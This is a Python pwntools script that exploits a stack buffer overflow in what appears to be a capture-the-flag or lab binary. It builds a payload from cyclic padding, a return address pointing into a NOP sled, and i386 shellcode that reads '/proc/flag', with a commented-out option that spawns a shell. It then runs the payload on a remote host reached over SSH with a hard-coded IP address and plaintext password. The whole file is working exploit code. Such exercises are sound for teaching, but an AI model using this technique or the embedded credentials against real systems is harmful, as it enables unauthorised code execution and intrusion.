#!/usr/bin/env python2

from pwn import *

exe = "./target"
mydir = "jmp-to-env"
#path = "/home/lab03/" + mydir

context.terminal = ['tmux', 'splitw', '-v']
context.update(arch='i386', os='linux')

env = {"SHELLCODE": "\x90"*0x1000 + asm(pwnlib.shellcraft.i386.linux.cat("/proc/flag"))}
#env = {"SHELLCODE": asm(pwnlib.shellcraft.i386.linux.sh())}

padding = 0x61666161
nop_offset = 1000

# Address to use
start_addr = 0xffffdd86
start_addr = start_addr + (nop_offset/2)

# NOP sled
nop_sled = "\x90" * nop_offset

shellcode = shellcraft.cat("/proc/flag")
payload  = cyclic(cyclic_find(padding))
payload += p32(start_addr)
payload += nop_sled
payload += asm(shellcode)
#payload += nop_sled
# Address sled
#for i in range (0, 200):
#    payload += p32(start_addr)

p_shellcode = nop_sled
p_shellcode += asm(shellcode)

f = open('shellcode', 'w')
f.write(p_shellcode)
f.close()

#p = gdb.debug([exe, payload], ''' continue ''')

s = ssh("lab03", "52.201.10.159", password="b50e289f")
#p = s.process(exe, cwd=path)
p = s.process(["./target", payload], cwd="/home/lab03/jmp-to-env", env=env)
p.interactive()
